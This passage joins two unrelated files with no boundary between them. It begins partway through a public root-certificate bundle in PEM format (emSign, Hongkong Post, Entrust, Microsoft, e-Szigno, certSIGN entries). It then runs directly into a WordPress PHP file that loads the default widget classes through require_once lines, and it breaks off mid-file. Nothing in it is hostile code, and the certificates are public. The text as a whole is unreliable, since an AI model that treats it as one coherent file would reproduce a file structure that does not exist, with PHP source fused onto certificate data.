4bSb+hxnV29qao6pK0xXeXpXIs/NX2NGjVxZOob4Mkdio2cNGJHc+6Zr9UhhcyNZjgKnvETq9Emd
8VRY+WCv2hikLyhF3HqgiIZd8zvn/yk1gPxkQ5Tm4xxvvq0OKmOZK8l+hfZx6AYDlf7ej0gcWtSS
6Cvu5zHbugRqh5jnxV/vfaci9wHYTfmJ0A6aBVmknpjZbyvKcL5kwlWj9Omvw5Ip3IgWJJk8jSaY
tlu3zM63Nwf9JtmYhST/WSMDmu2dnajkXjjO11INb9I/bbEFa0nOipFGc/T2L/Coc3cOZayhjWZS
aX5LaAzHHjcng6WMxwLkFM1JAbBzs/3GkDpv0mztO+7skb6iQ12LAEpmJURw3kAP+HwV96LOPNde
E4yBFxgX0b3xdxA61GU5wSesVywlVP+i2k+KYTlerj1KjL0=
-----END CERTIFICATE-----

emSign Root CA - G1
===================
-----BEGIN CERTIFICATE-----
MIIDlDCCAnygAwIBAgIKMfXkYgxsWO3W2DANBgkqhkiG9w0BAQsFADBnMQswCQYDVQQGEwJJTjET
MBEGA1UECxMKZW1TaWduIFBLSTElMCMGA1UEChMcZU11ZGhyYSBUZWNobm9sb2dpZXMgTGltaXRl
ZDEcMBoGA1UEAxMTZW1TaWduIFJvb3QgQ0EgLSBHMTAeFw0xODAyMTgxODMwMDBaFw00MzAyMTgx
ODMwMDBaMGcxCzAJBgNVBAYTAklOMRMwEQYDVQQLEwplbVNpZ24gUEtJMSUwIwYDVQQKExxlTXVk
aHJhIFRlY2hub2xvZ2llcyBMaW1pdGVkMRwwGgYDVQQDExNlbVNpZ24gUm9vdCBDQSAtIEcxMIIB
IjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAk0u76WaK7p1b1TST0Bsew+eeuGQzf2N4aLTN
LnF115sgxk0pvLZoYIr3IZpWNVrzdr3YzZr/k1ZLpVkGoZM0Kd0WNHVO8oG0x5ZOrRkVUkr+PHB1
cM2vK6sVmjM8qrOLqs1D/fXqcP/tzxE7lM5OMhbTI0Aqd7OvPAEsbO2ZLIvZTmmYsvePQbAyeGHW
DV/D+qJAkh1cF+ZwPjXnorfCYuKrpDhMtTk1b+oDafo6VGiFbdbyL0NVHpENDtjVaqSW0RM8LHhQ
6DqS0hdW5TUaQBw+jSztOd9C4INBdN+jzcKGYEho42kLVACL5HZpIQ15TjQIXhTCzLG3rdd8cIrH
hQIDAQABo0IwQDAdBgNVHQ4EFgQU++8Nhp6w492pufEhF38+/PB3KxowDgYDVR0PAQH/BAQDAgEG
MA8GA1UdEwEB/wQFMAMBAf8wDQYJKoZIhvcNAQELBQADggEBAFn/8oz1h31xPaOfG1vR2vjTnGs2
vZupYeveFix0PZ7mddrXuqe8QhfnPZHr5X3dPpzxz5KsbEjMwiI/aTvFthUvozXGaCocV685743Q
NcMYDHsAVhzNixl03r4PEuDQqqE/AjSxcM6dGNYIAwlG7mDgfrbESQRRfXBgvKqy/3lyeqYdPV8q
+Mri/Tm3R7nrft8EI6/6nAYH6ftjk4BAtcZsCjEozgyfz7MjNYBBjWzEN3uBL4ChQEKF6dk4jeih
U80Bv2noWgbyRQuQ+q7hv53yrlc8pa6yVvSLZUDp/TGBLPQ5Cdjua6e0ph0VpZj3AYHYhX3zUVxx
iN66zB+Afko=
-----END CERTIFICATE-----

emSign ECC Root CA - G3
=======================
-----BEGIN CERTIFICATE-----
MIICTjCCAdOgAwIBAgIKPPYHqWhwDtqLhDAKBggqhkjOPQQDAzBrMQswCQYDVQQGEwJJTjETMBEG
A1UECxMKZW1TaWduIFBLSTElMCMGA1UEChMcZU11ZGhyYSBUZWNobm9sb2dpZXMgTGltaXRlZDEg
MB4GA1UEAxMXZW1TaWduIEVDQyBSb290IENBIC0gRzMwHhcNMTgwMjE4MTgzMDAwWhcNNDMwMjE4
MTgzMDAwWjBrMQswCQYDVQQGEwJJTjETMBEGA1UECxMKZW1TaWduIFBLSTElMCMGA1UEChMcZU11
ZGhyYSBUZWNobm9sb2dpZXMgTGltaXRlZDEgMB4GA1UEAxMXZW1TaWduIEVDQyBSb290IENBIC0g
RzMwdjAQBgcqhkjOPQIBBgUrgQQAIgNiAAQjpQy4LRL1KPOxst3iAhKAnjlfSU2fySU0WXTsuwYc
58Byr+iuL+FBVIcUqEqy6HyC5ltqtdyzdc6LBtCGI79G1Y4PPwT01xySfvalY8L1X44uT6EYGQIr
MgqCZH0Wk9GjQjBAMB0GA1UdDgQWBBR8XQKEE9TMipuBzhccLikenEhjQjAOBgNVHQ8BAf8EBAMC
AQYwDwYDVR0TAQH/BAUwAwEB/zAKBggqhkjOPQQDAwNpADBmAjEAvvNhzwIQHWSVB7gYboiFBS+D
CBeQyh+KTOgNG3qxrdWBCUfvO6wIBHxcmbHtRwfSAjEAnbpV/KlK6O3t5nYBQnvI+GDZjVGLVTv7
jHvrZQnD+JbNR6iC8hZVdyR+EhCVBCyj
-----END CERTIFICATE-----

emSign Root CA - C1
===================
-----BEGIN CERTIFICATE-----
MIIDczCCAlugAwIBAgILAK7PALrEzzL4Q7IwDQYJKoZIhvcNAQELBQAwVjELMAkGA1UEBhMCVVMx
EzARBgNVBAsTCmVtU2lnbiBQS0kxFDASBgNVBAoTC2VNdWRocmEgSW5jMRwwGgYDVQQDExNlbVNp
Z24gUm9vdCBDQSAtIEMxMB4XDTE4MDIxODE4MzAwMFoXDTQzMDIxODE4MzAwMFowVjELMAkGA1UE
BhMCVVMxEzARBgNVBAsTCmVtU2lnbiBQS0kxFDASBgNVBAoTC2VNdWRocmEgSW5jMRwwGgYDVQQD
ExNlbVNpZ24gUm9vdCBDQSAtIEMxMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAz+up
ufGZBczYKCFK83M0UYRWEPWgTywS4/oTmifQz/l5GnRfHXk5/Fv4cI7gklL35CX5VIPZHdPIWoU/
Xse2B+4+wM6ar6xWQio5JXDWv7V7Nq2s9nPczdcdioOl+yuQFTdrHCZH3DspVpNqs8FqOp099cGX
OFgFixwR4+S0uF2FHYP+eF8LRWgYSKVGczQ7/g/IdrvHGPMF0Ybzhe3nudkyrVWIzqa2kbBPrH4V
I5b2P/AgNBbeCsbEBEV5f6f9vtKppa+cxSMq9zwhbL2vj07FOrLzNBL834AaSaTUqZX3noleooms
lMuoaJuvimUnzYnu3Yy1aylwQ6BpC+S5DwIDAQABo0IwQDAdBgNVHQ4EFgQU/qHgcB4qAzlSWkK+
XJGFehiqTbUwDgYDVR0PAQH/BAQDAgEGMA8GA1UdEwEB/wQFMAMBAf8wDQYJKoZIhvcNAQELBQAD
ggEBAMJKVvoVIXsoounlHfv4LcQ5lkFMOycsxGwYFYDGrK9HWS8mC+M2sO87/kOXSTKZEhVb3xEp
/6tT+LvBeA+snFOvV71ojD1pM/CjoCNjO2RnIkSt1XHLVip4kqNPEjE2NuLe/gDEo2APJ62gsIq1
NnpSob0n9CAnYuhNlCQT5AoE6TyrLshDCUrGYQTlSTR+08TI9Q/Aqum6VF7zYytPT1DU/rl7mYw9
wC68AivTxEDkigcxHpvOJpkT+xHqmiIMERnHXhuBUDDIlhJu58tBf5E7oke3VIAb3ADMmpDqw8NQ
BmIMMMAVSKeoWXzhriKi4gp6D/piq1JM4fHfyr6DDUI=
-----END CERTIFICATE-----

emSign ECC Root CA - C3
=======================
-----BEGIN CERTIFICATE-----
MIICKzCCAbGgAwIBAgIKe3G2gla4EnycqDAKBggqhkjOPQQDAzBaMQswCQYDVQQGEwJVUzETMBEG
A1UECxMKZW1TaWduIFBLSTEUMBIGA1UEChMLZU11ZGhyYSBJbmMxIDAeBgNVBAMTF2VtU2lnbiBF
Q0MgUm9vdCBDQSAtIEMzMB4XDTE4MDIxODE4MzAwMFoXDTQzMDIxODE4MzAwMFowWjELMAkGA1UE
BhMCVVMxEzARBgNVBAsTCmVtU2lnbiBQS0kxFDASBgNVBAoTC2VNdWRocmEgSW5jMSAwHgYDVQQD
ExdlbVNpZ24gRUNDIFJvb3QgQ0EgLSBDMzB2MBAGByqGSM49AgEGBSuBBAAiA2IABP2lYa57JhAd
6bciMK4G9IGzsUJxlTm801Ljr6/58pc1kjZGDoeVjbk5Wum739D+yAdBPLtVb4OjavtisIGJAnB9
SMVK4+kiVCJNk7tCDK93nCOmfddhEc5lx/h//vXyqaNCMEAwHQYDVR0OBBYEFPtaSNCAIEDyqOkA
B2kZd6fmw/TPMA4GA1UdDwEB/wQEAwIBBjAPBgNVHRMBAf8EBTADAQH/MAoGCCqGSM49BAMDA2gA
MGUCMQC02C8Cif22TGK6Q04ThHK1rt0c3ta13FaPWEBaLd4gTCKDypOofu4SQMfWh0/434UCMBwU
ZOR8loMRnLDRWmFLpg9J0wD8ofzkpf9/rdcw0Md3f76BB1UwUCAU9Vc4CqgxUQ==
-----END CERTIFICATE-----

Hongkong Post Root CA 3
=======================
-----BEGIN CERTIFICATE-----
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
dBb9HxEGmpv0
-----END CERTIFICATE-----

Entrust Root Certification Authority - G4
=========================================
-----BEGIN CERTIFICATE-----
MIIGSzCCBDOgAwIBAgIRANm1Q3+vqTkPAAAAAFVlrVgwDQYJKoZIhvcNAQELBQAwgb4xCzAJBgNV
BAYTAlVTMRYwFAYDVQQKEw1FbnRydXN0LCBJbmMuMSgwJgYDVQQLEx9TZWUgd3d3LmVudHJ1c3Qu
bmV0L2xlZ2FsLXRlcm1zMTkwNwYDVQQLEzAoYykgMjAxNSBFbnRydXN0LCBJbmMuIC0gZm9yIGF1
dGhvcml6ZWQgdXNlIG9ubHkxMjAwBgNVBAMTKUVudHJ1c3QgUm9vdCBDZXJ0aWZpY2F0aW9uIEF1
dGhvcml0eSAtIEc0MB4XDTE1MDUyNzExMTExNloXDTM3MTIyNzExNDExNlowgb4xCzAJBgNVBAYT
AlVTMRYwFAYDVQQKEw1FbnRydXN0LCBJbmMuMSgwJgYDVQQLEx9TZWUgd3d3LmVudHJ1c3QubmV0
L2xlZ2FsLXRlcm1zMTkwNwYDVQQLEzAoYykgMjAxNSBFbnRydXN0LCBJbmMuIC0gZm9yIGF1dGhv
cml6ZWQgdXNlIG9ubHkxMjAwBgNVBAMTKUVudHJ1c3QgUm9vdCBDZXJ0aWZpY2F0aW9uIEF1dGhv
cml0eSAtIEc0MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAsewsQu7i0TD/pZJH4i3D
umSXbcr3DbVZwbPLqGgZ2K+EbTBwXX7zLtJTmeH+H17ZSK9dE43b/2MzTdMAArzE+NEGCJR5WIoV
3imz/f3ET+iq4qA7ec2/a0My3dl0ELn39GjUu9CH1apLiipvKgS1sqbHoHrmSKvS0VnM1n4j5pds
8ELl3FFLFUHtSUrJ3hCX1nbB76W1NhSXNdh4IjVS70O92yfbYVaCNNzLiGAMC1rlLAHGVK/XqsEQ
e9IFWrhAnoanw5CGAlZSCXqc0ieCU0plUmr1POeo8pyvi73TDtTUXm6Hnmo9RR3RXRv06QqsYJn7
ibT/mCzPfB3pAqoEmh643IhuJbNsZvc8kPNXwbMv9W3y+8qh+CmdRouzavbmZwe+LGcKKh9asj5X
xNMhIWNlUpEbsZmOeX7m640A2Vqq6nPopIICR5b+W45UYaPrL0swsIsjdXJ8ITzI9vF01Bx7owVV
7rtNOzK+mndmnqxpkCIHH2E6lr7lmk/MBTwoWdPBDFSoWWG9yHJM6Nyfh3+9nEg2XpWjDrk4JFX8
dWbrAuMINClKxuMrLzOg2qOGpRKX/YAr2hRC45K9PvJdXmd0LhyIRyk0X+IyqJwlN4y6mACXi0mW
Hv0liqzc2thddG5msP9E36EYxr5ILzeUePiVSj9/E15dWf10hkNjc0kCAwEAAaNCMEAwDwYDVR0T
AQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMCAQYwHQYDVR0OBBYEFJ84xFYjwznooHFs6FRM5Og6sb9n
MA0GCSqGSIb3DQEBCwUAA4ICAQAS5UKme4sPDORGpbZgQIeMJX6tuGguW8ZAdjwD+MlZ9POrYs4Q
jbRaZIxowLByQzTSGwv2LFPSypBLhmb8qoMi9IsabyZIrHZ3CL/FmFz0Jomee8O5ZDIBf9PD3Vht
7LGrhFV0d4QEJ1JrhkzO3bll/9bGXp+aEJlLdWr+aumXIOTkdnrG0CSqkM0gkLpHZPt/B7NTeLUK
YvJzQ85BK4FqLoUWlFPUa19yIqtRLULVAJyZv967lDtX/Zr1hstWO1uIAeV8KEsD+UmDfLJ/fOPt
jqF/YFOOVZ1QNBIPt5d7bIdKROf1beyAN/BYGW5KaHbwH5Lk6rWS02FREAutp9lfx1/cH6NcjKF+
m7ee01ZvZl4HliDtC3T7Zk6LERXpgUl+b7DUUH8i119lAg2m9IUe2K4GS0qn0jFmwvjO5QimpAKW
RGhXxNUzzxkvFMSUHHuk2fCfDrGA4tGeEWSpiBE6doLlYsKA2KSD7ZPvfC+QsDJMlhVoSFLUmQjA
JOgc47OlIQ6SwJAfzyBfyjs4x7dtOvPmRLgOMWuIjnDrnBdSqEGULoe256YSxXXfW8AKbnuk5F6G
+TaU33fD6Q3AOfF5u0aOq0NZJ7cguyPpVkAh7DE9ZapD8j3fcEThuk0mEDuYn/PIjhs4ViFqUZPT
kcpG2om3PVODLAgfi49T3f+sHw==
-----END CERTIFICATE-----

Microsoft ECC Root Certificate Authority 2017
=============================================
-----BEGIN CERTIFICATE-----
MIICWTCCAd+gAwIBAgIQZvI9r4fei7FK6gxXMQHC7DAKBggqhkjOPQQDAzBlMQswCQYDVQQGEwJV
UzEeMBwGA1UEChMVTWljcm9zb2Z0IENvcnBvcmF0aW9uMTYwNAYDVQQDEy1NaWNyb3NvZnQgRUND
IFJvb3QgQ2VydGlmaWNhdGUgQXV0aG9yaXR5IDIwMTcwHhcNMTkxMjE4MjMwNjQ1WhcNNDIwNzE4
MjMxNjA0WjBlMQswCQYDVQQGEwJVUzEeMBwGA1UEChMVTWljcm9zb2Z0IENvcnBvcmF0aW9uMTYw
NAYDVQQDEy1NaWNyb3NvZnQgRUNDIFJvb3QgQ2VydGlmaWNhdGUgQXV0aG9yaXR5IDIwMTcwdjAQ
BgcqhkjOPQIBBgUrgQQAIgNiAATUvD0CQnVBEyPNgASGAlEvaqiBYgtlzPbKnR5vSmZRogPZnZH6
thaxjG7efM3beaYvzrvOcS/lpaso7GMEZpn4+vKTEAXhgShC48Zo9OYbhGBKia/teQ87zvH2RPUB
eMCjVDBSMA4GA1UdDwEB/wQEAwIBhjAPBgNVHRMBAf8EBTADAQH/MB0GA1UdDgQWBBTIy5lycFIM
+Oa+sgRXKSrPQhDtNTAQBgkrBgEEAYI3FQEEAwIBADAKBggqhkjOPQQDAwNoADBlAjBY8k3qDPlf
Xu5gKcs68tvWMoQZP3zVL8KxzJOuULsJMsbG7X7JNpQS5GiFBqIb0C8CMQCZ6Ra0DvpWSNSkMBaR
eNtUjGUBiudQZsIxtzm6uBoiB078a1QWIP8rtedMDE2mT3M=
-----END CERTIFICATE-----

Microsoft RSA Root Certificate Authority 2017
=============================================
-----BEGIN CERTIFICATE-----
MIIFqDCCA5CgAwIBAgIQHtOXCV/YtLNHcB6qvn9FszANBgkqhkiG9w0BAQwFADBlMQswCQYDVQQG
EwJVUzEeMBwGA1UEChMVTWljcm9zb2Z0IENvcnBvcmF0aW9uMTYwNAYDVQQDEy1NaWNyb3NvZnQg
UlNBIFJvb3QgQ2VydGlmaWNhdGUgQXV0aG9yaXR5IDIwMTcwHhcNMTkxMjE4MjI1MTIyWhcNNDIw
NzE4MjMwMDIzWjBlMQswCQYDVQQGEwJVUzEeMBwGA1UEChMVTWljcm9zb2Z0IENvcnBvcmF0aW9u
MTYwNAYDVQQDEy1NaWNyb3NvZnQgUlNBIFJvb3QgQ2VydGlmaWNhdGUgQXV0aG9yaXR5IDIwMTcw
ggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQDKW76UM4wplZEWCpW9R2LBifOZNt9GkMml
7Xhqb0eRaPgnZ1AzHaGm++DlQ6OEAlcBXZxIQIJTELy/xztokLaCLeX0ZdDMbRnMlfl7rEqUrQ7e
S0MdhweSE5CAg2Q1OQT85elss7YfUJQ4ZVBcF0a5toW1HLUX6NZFndiyJrDKxHBKrmCk3bPZ7Pw7
1VdyvD/IybLeS2v4I2wDwAW9lcfNcztmgGTjGqwu+UcF8ga2m3P1eDNbx6H7JyqhtJqRjJHTOoI+
dkC0zVJhUXAoP8XFWvLJjEm7FFtNyP9nTUwSlq31/niol4fX/V4ggNyhSyL71Imtus5Hl0dVe49F
yGcohJUcaDDv70ngNXtk55iwlNpNhTs+VcQor1fznhPbRiefHqJeRIOkpcrVE7NLP8TjwuaGYaRS
MLl6IE9vDzhTyzMMEyuP1pq9KsgtsRx9S1HKR9FIJ3Jdh+vVReZIZZ2vUpC6W6IYZVcSn2i51BVr
lMRpIpj0M+Dt+VGOQVDJNE92kKz8OMHY4Xu54+OU4UZpyw4KUGsTuqwPN1q3ErWQgR5WrlcihtnJ
0tHXUeOrO8ZV/R4O03QK0dqq6mm4lyiPSMQH+FJDOvTKVTUssKZqwJz58oHhEmrARdlns87/I6KJ
ClTUFLkqqNfs+avNJVgyeY+QW5g5xAgGwax/Dj0ApQIDAQABo1QwUjAOBgNVHQ8BAf8EBAMCAYYw
DwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQUCctZf4aycI8awznjwNnpv7tNsiMwEAYJKwYBBAGC
NxUBBAMCAQAwDQYJKoZIhvcNAQEMBQADggIBAKyvPl3CEZaJjqPnktaXFbgToqZCLgLNFgVZJ8og
6Lq46BrsTaiXVq5lQ7GPAJtSzVXNUzltYkyLDVt8LkS/gxCP81OCgMNPOsduET/m4xaRhPtthH80
dK2Jp86519efhGSSvpWhrQlTM93uCupKUY5vVau6tZRGrox/2KJQJWVggEbbMwSubLWYdFQl3JPk
+ONVFT24bcMKpBLBaYVu32TxU5nhSnUgnZUP5NbcA/FZGOhHibJXWpS2qdgXKxdJ5XbLwVaZOjex
/2kskZGT4d9Mozd2TaGf+G0eHdP67Pv0RR0Tbc/3WeUiJ3IrhvNXuzDtJE3cfVa7o7P4NHmJweDy
AmH3pvwPuxwXC65B2Xy9J6P9LjrRk5Sxcx0ki69bIImtt2dmefU6xqaWM/5TkshGsRGRxpl/j8nW
ZjEgQRCHLQzWwa80mMpkg/sTV9HB8Dx6jKXB/ZUhoHHBk2dxEuqPiAppGWSZI1b7rCoucL5mxAyE
7+WL85MB+GqQk2dLsmijtWKP6T+MejteD+eMuMZ87zf9dOLITzNy4ZQ5bb0Sr74MTnB8G2+NszKT
c0QWbej09+CVgI+WXTik9KveCjCHk9hNAHFiRSdLOkKEW39lt2c0Ui2cFmuqqNh7o0JMcccMyj6D
5KbvtwEwXlGjefVwaaZBRA+GsCyRxj3qrg+E
-----END CERTIFICATE-----

e-Szigno Root CA 2017
=====================
-----BEGIN CERTIFICATE-----
MIICQDCCAeWgAwIBAgIMAVRI7yH9l1kN9QQKMAoGCCqGSM49BAMCMHExCzAJBgNVBAYTAkhVMREw
DwYDVQQHDAhCdWRhcGVzdDEWMBQGA1UECgwNTWljcm9zZWMgTHRkLjEXMBUGA1UEYQwOVkFUSFUt
MjM1ODQ0OTcxHjAcBgNVBAMMFWUtU3ppZ25vIFJvb3QgQ0EgMjAxNzAeFw0xNzA4MjIxMjA3MDZa
Fw00MjA4MjIxMjA3MDZaMHExCzAJBgNVBAYTAkhVMREwDwYDVQQHDAhCdWRhcGVzdDEWMBQGA1UE
CgwNTWljcm9zZWMgTHRkLjEXMBUGA1UEYQwOVkFUSFUtMjM1ODQ0OTcxHjAcBgNVBAMMFWUtU3pp
Z25vIFJvb3QgQ0EgMjAxNzBZMBMGByqGSM49AgEGCCqGSM49AwEHA0IABJbcPYrYsHtvxie+RJCx
s1YVe45DJH0ahFnuY2iyxl6H0BVIHqiQrb1TotreOpCmYF9oMrWGQd+HWyx7xf58etqjYzBhMA8G
A1UdEwEB/wQFMAMBAf8wDgYDVR0PAQH/BAQDAgEGMB0GA1UdDgQWBBSHERUI0arBeAyxr87GyZDv
vzAEwDAfBgNVHSMEGDAWgBSHERUI0arBeAyxr87GyZDvvzAEwDAKBggqhkjOPQQDAgNJADBGAiEA
tVfd14pVCzbhhkT61NlojbjcI4qKDdQvfepz7L9NbKgCIQDLpbQS+ue16M9+k/zzNY9vTlp8tLxO
svxyqltZ+efcMQ==
-----END CERTIFICATE-----

certSIGN Root CA G2
===================
-----BEGIN CERTIFICATE-----
MIIFRzCCAy+gAwIBAgIJEQA0tk7GNi02MA0GCSqGSIb3DQEBCwUAMEExCzAJBgNVBAYTAlJPMRQw
EgYDVQQKEwtDRVJUU0lHTiBTQTEcMBoGA1UECxMTY2VydFNJR04gUk9PVCBDQSBHMjAeFw0xNzAy
MDYwOTI3MzVaFw00MjAyMDYwOTI3MzVaMEExCzAJBgNVBAYTAlJPMRQwEgYDVQQKEwtDRVJUU0lH
TiBTQTEcMBoGA1UECxMTY2VydFNJR04gUk9PVCBDQSBHMjCCAiIwDQYJKoZIhvcNAQEBBQADggIP
ADCCAgoCggIBAMDFdRmRfUR0dIf+DjuW3NgBFszuY5HnC2/OOwppGnzC46+CjobXXo9X69MhWf05
N0IwvlDqtg+piNguLWkh59E3GE59kdUWX2tbAMI5Qw02hVK5U2UPHULlj88F0+7cDBrZuIt4Imfk
abBoxTzkbFpG583H+u/E7Eu9aqSs/cwoUe+StCmrqzWaTOTECMYmzPhpn+Sc8CnTXPnGFiWeI8Mg
wT0PPzhAsP6CRDiqWhqKa2NYOLQV07YRaXseVO6MGiKscpc/I1mbySKEwQdPzH/iV8oScLumZfNp
dWO9lfsbl83kqK/20U6o2YpxJM02PbyWxPFsqa7lzw1uKA2wDrXKUXt4FMMgL3/7FFXhEZn91Qqh
ngLjYl/rNUssuHLoPj1PrCy7Lobio3aP5ZMqz6WryFyNSwb/EkaseMsUBzXgqd+L6a8VTxaJW732
jcZZroiFDsGJ6x9nxUWO/203Nit4ZoORUSs9/1F3dmKh7Gc+PoGD4FapUB8fepmrY7+EF3fxDTvf
95xhszWYijqy7DwaNz9+j5LP2RIUZNoQAhVB/0/E6xyjyfqZ90bp4RjZsbgyLcsUDFDYg2WD7rlc
z8sFWkz6GZdr1l0T08JcVLwyc6B49fFtHsufpaafItzRUZ6CeWRgKRM+o/1Pcmqr4tTluCRVLERL
iohEnMqE0yo7AgMBAAGjQjBAMA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0PAQH/BAQDAgEGMB0GA1Ud
DgQWBBSCIS1mxteg4BXrzkwJd8RgnlRuAzANBgkqhkiG9w0BAQsFAAOCAgEAYN4auOfyYILVAzOB
ywaK8SJJ6ejqkX/GM15oGQOGO0MBzwdw5AgeZYWR5hEit/UCI46uuR59H35s5r0l1ZUa8gWmr4UC
b6741jH/JclKyMeKqdmfS0mbEVeZkkMR3rYzpMzXjWR91M08KCy0mpbqTfXERMQlqiCA2ClV9+BB
/AYm/7k29UMUA2Z44RGx2iBfRgB4ACGlHgAoYXhvqAEBj500mv/0OJD7uNGzcgbJceaBxXntC6Z5
8hMLnPddDnskk7RI24Zf3lCGeOdA5jGokHZwYa+cNywRtYK3qq4kNFtyDGkNzVmf9nGvnAvRCjj5
BiKDUyUM/FHE5r7iOZULJK2v0ZXkltd0ZGtxTgI8qoXzIKNDOXZbbFD+mpwUHmUUihW9o4JFWklW
atKcsWMy5WHgUyIOpwpJ6st+H6jiYoD2EEVSmAYY3qXNL3+q1Ok+CHLsIwMCPKaq2LxndD0UF/tU
Sxfj03k9bWtJySgOLnRQvwzZRjoQhsmnP+mg7H/rpXdYaXHmgwo38oZJar55CJD2AhZkPuXaTH4M
NMn5X7azKFGnpyuqSfqNZSlO42sTp5SjLVFteAxEy9/eCG/Oo2Sr05WE1LlSVHJ7liXMvGnjSG4N
0MedJ5qq+BOS3R7fY581qRY27Iy4g/Q9iY/NtBde17MXQRBdJ3NghVdJIgc=
-----END CERTIFICATE-----
<?php
/**
 * Widget API: Default core widgets
 *
 * @package WordPress
 * @subpackage Widgets
 * @since 2.8.0
 */

/** WP_Widget_Pages class */
require_once ABSPATH . WPINC . '/widgets/class-wp-widget-pages.php';

/** WP_Widget_Links class */
require_once ABSPATH . WPINC . '/widgets/class-wp-widget-links.php';

/** WP_Widget_Search class */
require_once ABSPATH . WPINC . '/widgets/class-wp-widget-search.php';

/** WP_Widget_Archives class */
require_once ABSPATH . WPINC . '/widgets/class-wp-widget-archives.php';

/** WP_Widget_Media class */
require_once ABSPATH . WPINC . '/widgets/class-wp-widget-media.php';

/** WP_Widget_Media_Audio class */
require_once ABSPATH . WPINC . '/widgets/class-wp-widget-media-audio.php';

/** WP_Widget_Media_Image class */
require_once ABSPATH . WPINC . '/widgets/class-wp-widget-media-image.php';

/** WP_Widget_Media_Video class */
require_once ABSPATH . WPINC . '/widgets/class-wp-widget-media-video.php';

/** WP_Widget_Media_Gallery class */
require_once ABSPATH . WPINC . '/widgets/class-wp-widget-media-gallery.php';

/** WP_Widget_Meta class */
require_once ABSPATH . WPINC . '/widgets/class-wp-widget-meta.php';

/** WP_Widget_Calendar class */
require_once ABSPATH . WPINC . '/widgets/class-wp-widget-calendar.php';

/** WP_Widget_Text class */
require_once ABSPATH . WPINC . '/widgets/class-wp-widget-text.php';

/** WP_Widget_Categories class */
require_once ABSPATH . WPINC . '/widgets/class-wp-widget-categories.php';

/** WP_Widget_Recent_Posts class */
require_once ABSPATH . WPINC . '/widgets/class-wp-widget-recent-posts.php';

/** WP_Widget_Recent_Comments class */
require_once ABSPATH . WPINC . '/widgets/class-wp-widget-recent-comments.php';

/** WP_Widget_RSS class */
require_once ABSPATH . WPINC . '/widgets/class-wp-widget-rss.php';

/** WP_Widget_Tag_Cloud class */
require_once ABSPATH . WPINC . '/widgets/class-wp-widget-tag-cloud.php';

/** WP_Nav_Menu_Widget class */
require_once ABSPATH . WPINC . '/widgets/class-wp-nav-menu-widget.php';

/** WP_Widget_Custom_HTML class */
